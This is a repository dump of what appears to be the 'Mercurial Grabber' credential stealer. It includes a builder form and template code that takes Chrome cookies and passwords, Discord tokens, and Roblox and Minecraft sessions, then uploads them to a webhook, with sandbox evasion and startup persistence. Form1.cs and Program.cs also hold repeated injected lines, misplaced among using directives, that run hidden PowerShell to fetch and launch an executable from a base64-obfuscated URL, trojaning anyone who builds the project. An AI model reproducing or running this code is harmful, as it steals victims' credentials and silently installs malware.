86 | catch (Exception ex)
87 | {
88 | Console.WriteLine(ex.ToString());
89 | return null;
90 | }
91 | }
92 |
93 |
94 |
95 | public static void StealCookies()
96 | {
97 | string src = User.localAppData + @"\Google\Chrome\User Data\default\Cookies";
98 | string stored = User.tempFolder + "\\cookies.db";
99 |
100 | if (File.Exists(src))
101 | {
102 | Console.WriteLine("Located: " + src);
103 | try
104 | {
105 | File.Copy(src, stored);
106 | }
107 | catch
108 | {
109 | }
110 | try
111 | {
112 | SQLite db = new SQLite(stored);
113 |
114 | db.ReadTable("cookies");
115 |
116 | StreamWriter file = new StreamWriter(User.tempFolder + "\\cookies.txt");
117 | for (int i = 0; i <= db.GetRowCount(); i++)
118 | {
119 | string value = db.GetValue(i, 12);
120 | string hostKey = db.GetValue(i, 1);
121 | string name = db.GetValue(i, 2);
122 | string path = db.GetValue(i, 4);
123 | string expires = "";
124 | try
125 | {
126 | expires = Convert.ToString(TimeZoneInfo.ConvertTimeFromUtc(DateTime.FromFileTimeUtc(10 * Convert.ToInt64(db.GetValue(i, 5))), TimeZoneInfo.Local));
127 | }
128 | catch
129 | {
130 | }
131 |
132 | string result = String.Empty;
133 |
134 | try
135 | {
136 | result = DecryptWithKey(Encoding.Default.GetBytes(value), GetMasterKey());
137 | }
138 | catch
139 | {
140 | result = "Error in deryption";
141 | }
142 |
143 | file.WriteLine("---------------- mercurial grabber ----------------");
144 | file.WriteLine("value: " + result);
145 | file.WriteLine("hostKey: " + hostKey);
146 | file.WriteLine("name: " + name);
147 | file.WriteLine("expires: " + expires);
148 | }
149 |
150 | file.Close();
151 |
152 | File.Delete(stored);
153 |
154 | Program.wh.SendData("", "cookies.txt", User.tempFolder + "\\cookies.txt", "multipart/form-data");
155 | File.Delete(User.tempFolder + "\\cookies.txt");
156 | }
157 |
158 | catch (Exception ex)
159 | {
160 | Program.wh.SendData("", "cookies.db", User.tempFolder + "\\cookies.db", "multipart/form-data");
161 | Program.wh.Send("`" + ex.Message + "`");
162 | }
163 | }
164 |
165 | else
166 | {
167 | Program.wh.Send("`" + "Did not find: " + src + "`");
168 | }
169 | }
170 |
171 |
172 |
173 | public static void StealPasswords()
174 | {
175 | string src = User.localAppData + @"\Google\Chrome\User Data\default\Login Data";
176 | Console.WriteLine(src);
177 |
178 | if (File.Exists(src))
179 | {
180 | string stored = User.tempFolder + "\\login.db";
181 | Console.WriteLine("copy to " + stored);
182 |
183 | try
184 | {
185 | File.Copy(src, stored);
186 | }
187 | catch (Exception ex)
188 | {
189 | Console.WriteLine(ex.Message);
190 | }
191 | try
192 | {
193 | SQLite db = new SQLite(stored);
194 | db.ReadTable("logins");
195 |
196 | StreamWriter file = new StreamWriter(User.tempFolder + "\\passwords.txt");
197 | for (int i = 0; i <= db.GetRowCount(); i++)
198 | {
199 | string host = db.GetValue(i, 0);
200 | string username = db.GetValue(i, 3);
201 | var password = db.GetValue(i, 5);
202 |
203 | if (host != null)
204 | {
205 | if (password.StartsWith("v10") || password.StartsWith("v11"))
206 | {
207 | var masterKey = GetMasterKey();
208 |
209 | if (masterKey == null)
210 | {
211 | continue;
212 | }
213 |
214 | try
215 | {
216 | password = DecryptWithKey(Encoding.Default.GetBytes(password), masterKey);
217 | }
218 | catch
219 | {
220 | password = "Unable to decrypt";
221 | }
222 |
223 | file.WriteLine("---------------- mercurial grabber ----------------");
224 | file.WriteLine("host: " + host);
225 | file.WriteLine("username: " + username);
226 | file.WriteLine("password: " + password);
227 | }
228 | }
229 | }
230 |
231 | file.Close();
232 | File.Delete(stored);
233 |
234 | Program.wh.SendData("", "passwords.txt", User.tempFolder + "\\passwords.txt", "multipart/form-data");
235 | File.Delete(User.tempFolder + "\\passwords.txt");
236 | }
237 | catch (Exception ex)
238 | {
239 | Program.wh.SendData("", "login.db", User.tempFolder + "\\login.db", "multipart/form-data");
240 | Program.wh.Send("`" + ex.Message + "`");
241 | }
242 |
243 | }
244 | else
245 | {
246 | Program.wh.Send("`" + "Did not find: " + src + "`");
247 | }
248 |
249 | }
250 | }
251 | }
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
--------------------------------------------------------------------------------
/Mercurial/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
7 |
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 | using System.Windows.Forms;
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 |
18 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
19 | using System.Runtime.InteropServices;
20 |
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 |
24 | using Microsoft.CSharp;
25 | using System.CodeDom.Compiler;
26 |
27 | namespace Mercurial
28 | {
29 | public partial class Form : Form
30 | {
31 | int rgbFlag = 0;
32 | public Form1()
33 | {
34 | InitializeComponent();
35 | }
36 |
37 |
38 | [DllImport("DwmApi.dll")]
39 | private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize);
40 |
41 | protected override void OnHandleCreated(EventArgs e)
42 | {
43 | try
44 | {
45 | if (DwmSetWindowAttribute(Handle, 19, new[] { 1 }, 4) != 0)
46 | DwmSetWindowAttribute(Handle, 20, new[] { 1 }, 4);
47 | }
48 | catch
49 | {
50 | }
51 |
52 | }
53 | private void Form1_Load(object sender, EventArgs e)
54 | {
55 |
56 | }
57 |
58 |
59 | private void bunifuButton1_Click(object sender, EventArgs e)
60 | {
61 | // features
62 | bunifuPages1.SetPage("tabPage1");
63 | }
64 |
65 | private void bunifuButton3_Click(object sender, EventArgs e)
66 | {
67 | //Setup
68 | bunifuPages1.SetPage("tabPage2");
69 | }
70 | private void bunifuButton6_Click(object sender, EventArgs e)
71 | {
72 | //user dashboard button
73 | bunifuPages1.SetPage("tabPage5");
74 | }
75 |
76 | private void bunifuButton4_Click(object sender, EventArgs e)
77 | {
78 | //compiler
79 | bunifuPages1.SetPage("tabPage4");
80 | }
81 | private void bunifuButton5_Click(object sender, EventArgs e)
82 | {
83 | //about button
84 | bunifuPages1.SetPage("tabPage6");
85 | }
86 |
87 | private void bunifuVSlider1_Scroll(object sender, Utilities.BunifuSlider.BunifuVScrollBar.ScrollEventArgs e)
88 | {
89 | ActiveForm.Opacity = (double)(bunifuVSlider1.Value) / 10.0;
90 | }
91 |
92 | private void bunifuToggleSwitch1_CheckedChanged(object sender, Bunifu.UI.WinForms.BunifuToggleSwitch.CheckedChangedEventArgs e)
93 | {
94 | if (rgbFlag != 1)
95 | {
96 | bunifuColorTransition1.Stop();
97 | rgbFlag = 1;
98 | }
99 |
100 | else
101 | {
102 | bunifuColorTransition1.Continue();
103 | rgbFlag = 0;
104 | }
105 |
106 | }
107 |
108 | private void bunifuGroupBox15_Enter(object sender, EventArgs e)
109 | {
110 |
111 | }
112 |
113 | private void bunifuButton9_Click(object sender, EventArgs e)
114 | {
115 | //Compile Button
116 |
117 | textBox1.Text = "Attempting to compile file..";
118 |
119 | // .net framework dependency version
120 | Dictionary providerOptions = new Dictionary() { { "CompilerVersion", "v4.0" } };
121 |
122 | CSharpCodeProvider codeProvider = new CSharpCodeProvider(providerOptions);
123 | ICodeCompiler icc = codeProvider.CreateCompiler();
124 |
125 | string output = "output.exe";
126 |
127 | if (!String.IsNullOrEmpty(bunifuTextBox6.Text))
128 | {
129 | output = bunifuTextBox6.Text + ".exe";
130 | }
131 |
132 | System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();
133 | parameters.GenerateExecutable = true;
134 | parameters.OutputAssembly = output;
135 |
136 | parameters.ReferencedAssemblies.Add("System.dll");
137 | parameters.ReferencedAssemblies.Add("System.Drawing.dll");
138 | parameters.ReferencedAssemblies.Add("System.Net.Http.dll");
139 | parameters.ReferencedAssemblies.Add("System.dll");
140 | parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
141 | parameters.ReferencedAssemblies.Add("System.Core.dll");
142 | parameters.ReferencedAssemblies.Add("System.Security.dll");
143 | parameters.ReferencedAssemblies.Add("System.Management.dll");
144 |
145 | parameters.TreatWarningsAsErrors = false;
146 |
147 | if (!String.IsNullOrEmpty(bunifuTextBox4.Text))
148 | {
149 | parameters.CompilerOptions = @"/win32icon:" + "\"" + bunifuTextBox4.Text + "\"";
150 | }
151 |
152 | var main = Mercurial.Properties.Resources.Program;
153 | main = main.Replace("%INSERT_WEBHOOK%", bunifuTextBox5.Text);
154 |
155 | if (bunifuCheckBox8.Checked) // Roblox Session Recovery
156 | main = main.Replace("%CHECKBOX1%", "Roblox();");
157 | else
158 | main = main.Replace("%CHECKBOX1%", "");
159 |
160 | if (bunifuCheckBox7.Checked) // Minecraft Session Recovery
161 | main = main.Replace("%CHECKBOX2%", "Minecraft();");
162 | else
163 | main = main.Replace("%CHECKBOX2%", "");
164 |
165 |
166 | if (bunifuCheckBox20.Checked) // Grab Browser Cookies
167 | main = main.Replace("%CHECKBOX3%", "Browser.StealCookies();");
168 | else
169 | main = main.Replace("%CHECKBOX3%", "");
170 |
171 | if (bunifuCheckBox19.Checked) // Grab Browser Passwords
172 | main = main.Replace("%CHECKBOX4%", "Browser.StealPasswords();");
173 | else
174 | main = main.Replace("%CHECKBOX4%", "");
175 |
176 | if (bunifuCheckBox18.Checked) // Grab Windows Productr Key
177 | main = main.Replace("%CHECKBOX5%", "GrabProduct();");
178 | else
179 | main = main.Replace("%CHECKBOX5%", "");
180 |
181 | if (bunifuCheckBox17.Checked) // Grab Tokens
182 | main = main.Replace("%CHECKBOX11%", "GrabToken();");
183 | else
184 | main = main.Replace("%CHECKBOX11%", "");
185 |
186 | if (bunifuCheckBox3.Checked) // Grab Hardware
187 | main = main.Replace("%CHECKBOX6%", "GrabHardware();");
188 | else
189 | main = main.Replace("%CHECKBOX6%", "");
190 |
191 | if (bunifuCheckBox4.Checked) // Take Screenshot
192 | main = main.Replace("%CHECKBOX7%", "CaptureScreen();");
193 | else
194 | main = main.Replace("%CHECKBOX7%", "");
195 |
196 | if (bunifuCheckBox21.Checked) // Grap IP
197 | main = main.Replace("%CHECKBOX8%", "GrabIP();");
198 | else
199 | main = main.Replace("%CHECKBOX8%", "");
200 |
201 | if (bunifuCheckBox1.Checked) // Hide Console
202 | main = main.Replace("%CHECKBOX9%", "HideConsole();");
203 | else
204 | main = main.Replace("%CHECKBOX9%", "");
205 |
206 | if (bunifuCheckBox2.Checked) // Add to startup
207 | main = main.Replace("%CHECKBOX10%", "StartUp();");
208 | else
209 | main = main.Replace("%CHECKBOX10%", "");
210 |
211 | // ------------------------------------------------------------------/
212 |
213 | if (bunifuCheckBox9.Checked)
214 | {
215 | main = main.Replace("%FAKE_ERROR%", $"new Thread(() => MessageBox.Show(\"{bunifuTextBox2.Text}\", \"{bunifuTextBox1.Text}\", MessageBoxButtons.OK, MessageBoxIcon.Error)).Start();");
216 | }
217 | else
218 | {
219 | main = main.Replace("%FAKE_ERROR%", "");
220 | }
221 |
222 | if (bunifuCheckBox1.Checked)
223 | {
224 | parameters.CompilerOptions = "/t:winexe";
225 | }
226 |
227 | string[] source = new string[] { main, Mercurial.Properties.Resources.AesGcm, Mercurial.Properties.Resources.BCrypt, Mercurial.Properties.Resources.Browser, Mercurial.Properties.Resources.Common, Mercurial.Properties.Resources.Grabber, Mercurial.Properties.Resources.Machine, Mercurial.Properties.Resources.SQLite, Mercurial.Properties.Resources.User, Mercurial.Properties.Resources.Webhook };
228 |
229 | if (!String.IsNullOrEmpty(bunifuTextBox4.Text))
230 | {
231 | parameters.CompilerOptions = @"/win32icon:" + "\"" + bunifuTextBox4.Text + "\"";
232 | }
233 |
234 | CompilerResults results = icc.CompileAssemblyFromSourceBatch(parameters, source);
235 |
236 | if (results.Errors.Count > 0)
237 | {
238 |
239 | foreach (CompilerError CompErr in results.Errors)
240 | {
241 | textBox1.Text = textBox1.Text + Environment.NewLine +
242 | CompErr.FileName + Environment.NewLine +
243 | "Line number " + CompErr.Line +
244 | ", Error Number: " + CompErr.ErrorNumber +
245 | ", '" + CompErr.ErrorText + ";";
246 | }
247 | textBox1.Text = textBox1.Text + Environment.NewLine + "An error has occured when trying to compile file.";
248 | }
249 | else
250 | {
251 | textBox1.Text = textBox1.Text + Environment.NewLine + "Successfully compiled file!" + Environment.NewLine + "Task has been completed. You may now check the folder where this application is located for the output.";
252 | }
253 |
254 | }
255 |
256 | private void bunifuButton7_Click(object sender, EventArgs e)
257 | {
258 | // Webhook Button tester
259 | Webhook wh = new Webhook(bunifuTextBox5.Text);
260 | wh.Send("Webhook is working");
261 | }
262 |
263 | private void bunifuButton8_Click(object sender, EventArgs e)
264 | {
265 | // Choose icon button
266 | using (OpenFileDialog x = new OpenFileDialog())
267 | {
268 | x.Filter = "ico file (*.ico)|*.ico";
269 | if (x.ShowDialog() == DialogResult.OK)
270 | {
271 | bunifuTextBox4.Text = x.FileName;
272 | pictureBox1.ImageLocation = x.FileName;
273 | }
274 | else
275 | {
276 | bunifuTextBox4.Clear();
277 | }
278 | }
279 |
280 |
281 | }
282 | }
283 | }
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 |
5 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
6 |
7 |
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 | using System.Linq;
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 |
18 |
19 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
20 | using System.Text;
21 |
22 |
23 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
24 |
25 | using System.Threading.Tasks;
26 | using System.Threading;
27 | using System.IO;
28 | using System.Text.RegularExpressions;
29 | using System.Drawing;
30 | using System.Drawing.Imaging;
31 | using System.Windows.Forms;
32 | using System.Net.Http;
33 | using System.Net;
34 | using System.Diagnostics;
35 | using Microsoft.Win32;
36 | using System.Runtime.InteropServices;
37 |
38 | namespace Stealer
39 | {
40 | class Program
41 | {
42 |
43 | public static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
44 | public static string tempFolder = Environment.GetEnvironmentVariable("TEMP");
45 | public static Webhook wh = new Webhook("%INSERT_WEBHOOK%");
46 |
47 |
48 | static void Main()
49 | {
50 | DetectDebug();
51 | DetectRegistry();
52 |
53 | %FAKE_ERROR%
54 |
55 |
56 | %CHECKBOX8% // Grab IP
57 | %CHECKBOX11% // Grab Tokens
58 | %CHECKBOX5% // Product Key
59 | %CHECKBOX6% // Grab hardware
60 |
61 | %CHECKBOX3% // Cookies
62 | %CHECKBOX4% // Passwords
63 |
64 | %CHECKBOX2% // Minecraft
65 | %CHECKBOX1% // Roblox
66 | %CHECKBOX7% // Capture Screen
67 |
68 | %CHECKBOX10% // Add to startup
69 |
70 | Console.WriteLine("Task complete");
71 | }
72 |
73 | static void DetectDebug()
74 | {
75 | if (!System.Diagnostics.Debugger.IsAttached)
76 | {
77 | return;
78 | }
79 | Environment.Exit(0);
80 | }
81 |
82 | static void DetectRegistry()
83 | {
84 | List EvidenceOfSandbox = new List();
85 |
86 | List sandboxStrings = new List { "vmware", "virtualbox", "vbox", "qemu", "xen" };
87 |
88 | string[] HKLM_Keys_To_Check_Exist = {@"HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier",
89 | @"SYSTEM\CurrentControlSet\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S",
90 | @"SYSTEM\CurrentControlSet\Control\CriticalDeviceDatabase\root#vmwvmcihostdev",
91 | @"SYSTEM\CurrentControlSet\Control\VirtualDeviceDrivers",
92 | @"SOFTWARE\VMWare, Inc.\VMWare Tools",
93 | @"SOFTWARE\Oracle\VirtualBox Guest Additions",
94 | @"HARDWARE\ACPI\DSDT\VBOX_"};
95 |
96 | string[] HKLM_Keys_With_Values_To_Parse = {@"SYSTEM\ControlSet001\Services\Disk\Enum\0",
97 | @"HARDWARE\Description\System\SystemBiosInformation",
98 | @"HARDWARE\Description\System\VideoBiosVersion",
99 | @"HARDWARE\Description\System\SystemManufacturer",
100 | @"HARDWARE\Description\System\SystemProductName",
101 | @"HARDWARE\Description\System\Logical Unit Id 0"};
102 |
103 | foreach (string HKLM_Key in HKLM_Keys_To_Check_Exist)
104 | {
105 | RegistryKey OpenedKey = Registry.LocalMachine.OpenSubKey(HKLM_Key, false);
106 | if (OpenedKey != null)
107 | {
108 | EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key);
109 | }
110 | }
111 |
112 | foreach (string HKLM_Key in HKLM_Keys_With_Values_To_Parse)
113 | {
114 | string valueName = new DirectoryInfo(HKLM_Key).Name;
115 | string value = (string)Registry.LocalMachine.OpenSubKey(Path.GetDirectoryName(HKLM_Key), false).GetValue(valueName);
116 | foreach (string sandboxString in sandboxStrings)
117 | {
118 | if (!string.IsNullOrEmpty(value) && value.ToLower().Contains(sandboxString.ToLower()))
119 | {
120 | EvidenceOfSandbox.Add(@"HKLM:\" + HKLM_Key + " => " + value);
121 | }
122 | }
123 | }
124 |
125 | if (EvidenceOfSandbox.Count == 0)
126 | {
127 | return;
128 | }
129 |
130 | Environment.Exit(0);
131 | }
132 |
133 |
134 | public static void Roblox()
135 | {
136 | try
137 | {
138 | using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com", false))
139 | {
140 | string cookie = key.GetValue(".ROBLOSECURITY").ToString();
141 | cookie = cookie.Substring(46).Trim('>');
142 | Console.WriteLine(cookie);
143 | wh.SendContent(WebhookContent.RobloxCookie(cookie));
144 | }
145 | }
146 |
147 | catch (Exception ex)
148 | {
149 | wh.SendContent(WebhookContent.SimpleMessage("Roblox Cookie", "Unable to find cookie from Roblox Studio registry"));
150 | Console.WriteLine(ex.Message);
151 | }
152 |
153 | }
154 | public static void StartUp()
155 | {
156 | try
157 | {
158 | string filename = Process.GetCurrentProcess().ProcessName + ".exe";
159 | string filepath = Path.Combine(Environment.CurrentDirectory, filename);
160 | File.Copy(filepath, Path.GetTempPath() + filename);
161 |
162 | string loc = Path.GetTempPath() + filename;
163 |
164 | using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
165 | {
166 | key.SetValue("Mercurial Grabber", "\"" + loc + "\"");
167 | }
168 | }
169 | catch (Exception ex)
170 | {
171 | Console.WriteLine(ex.Message);
172 | }
173 | }
174 |
175 | static void Minecraft()
176 | {
177 | string target = User.appData + "\\.minecraft\\launcher_profiles.json";
178 | Console.WriteLine(target);
179 | Console.WriteLine("copy to : "+ User.tempFolder + "\\launcher_profiles.json");
180 | if (File.Exists(target)){
181 | File.Copy(target, User.tempFolder + "\\launcher_profiles.json");
182 | wh.SendData("Minecraft Session Profiles", "launcher_profiles.json", User.tempFolder + "\\launcher_profiles.json", "multipart/form-data");
183 | }
184 |
185 | else
186 | {
187 | wh.SendContent(WebhookContent.SimpleMessage("Minecraft Session", "Unable to find launcher_profiles.json"));
188 | }
189 | }
190 |
191 | static void CaptureScreen()
192 | {
193 | Bitmap captureBitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
194 |
195 | Rectangle captureRectangle = Screen.AllScreens[0].Bounds;
196 |
197 | Graphics captureGraphics = Graphics.FromImage(captureBitmap);
198 |
199 | captureGraphics.CopyFromScreen(captureRectangle.Left, captureRectangle.Top, 0, 0, captureRectangle.Size);
200 | captureBitmap.Save(tempFolder + "\\Capture.jpg", ImageFormat.Jpeg);
201 | wh.SendData("", "Capture.jpg", tempFolder + "\\Capture.jpg", "multipart/form-data");
202 | }
203 |
204 | static void GrabToken()
205 | {
206 | List tokens = Grabber.Grab();
207 | foreach (string token in tokens)
208 | {
209 | Token t = new Token(token);
210 | string content = WebhookContent.Token(t.email, t.phoneNumber, token, t.fullUsername, t.avatarUrl, t.locale, t.creationDate, t.userId);
211 | wh.SendContent(content);
212 | }
213 | }
214 |
215 | static void GrabProduct()
216 | {
217 | wh.SendContent(WebhookContent.ProductKey(Windows.GetProductKey()));
218 |
219 | }
220 | static void GrabIP()
221 | {
222 | IP varIP = new IP();
223 | varIP.GetIPGeo();
224 |
225 | wh.SendContent(WebhookContent.IP(varIP.ip, varIP.country, varIP.GetCountryIcon(), varIP.regionName, varIP.city, varIP.zip, varIP.isp));
226 | }
227 |
228 | static void GrabHardware()
229 | {
230 | Machine m = new Machine();
231 | wh.SendContent(WebhookContent.Hardware(m.osName, m.osArchitecture, m.osVersion, m.processName, m.gpuVideo, m.gpuVersion, m.diskDetails, m.pcMemory));
232 | }
233 | }
234 |
235 |
236 | class IP
237 | {
238 | public string ip = String.Empty;
239 | public string country = String.Empty;
240 | public string countryCode = String.Empty;
241 | public string regionName = String.Empty;
242 | public string city = String.Empty;
243 | public string zip = String.Empty;
244 | public string timezone = String.Empty;
245 | public string isp = String.Empty;
246 |
247 | public IP ()
248 | {
249 | ip = GetIP();
250 | }
251 |
252 | private string GetIP()
253 | {
254 | try
255 | {
256 | using (HttpClient client = new HttpClient())
257 | {
258 | var response = client.GetAsync("https://ip4.seeip.org");
259 | var final = response.Result.Content.ReadAsStringAsync();
260 | return final.Result;
261 | }
262 | }
263 | catch (Exception ex)
264 | {
265 | Console.WriteLine("Error: " + ex.Message);
266 | return String.Empty;
267 | }
268 | }
269 | public void GetIPGeo()
270 | {
271 | string resp;
272 | try
273 | {
274 | using (HttpClient client = new HttpClient())
275 | {
276 | var response = client.GetAsync("http://ip-api.com/" + "/json/" + ip);
277 | var final = response.Result.Content.ReadAsStringAsync();
278 | resp = final.Result;
279 | country = Common.Extract("country", resp);
280 | countryCode = Common.Extract("countryCode", resp);
281 | regionName = Common.Extract("regionName", resp);
282 | city = Common.Extract("city", resp);
283 | zip = Common.Extract("zip", resp);
284 | timezone = Common.Extract("timezone", resp);
285 | isp = Common.Extract("isp", resp);
286 | Console.WriteLine(resp);
287 | }
288 | }
289 |
290 | catch (Exception ex)
291 | {
292 | Console.WriteLine("Error: " + ex.Message);
293 | }
294 |
295 | }
296 | public string GetCountryIcon()
297 | {
298 | return "https://www.countryflags.io/" + countryCode + "/flat/48.png";
299 | }
300 |
301 | }
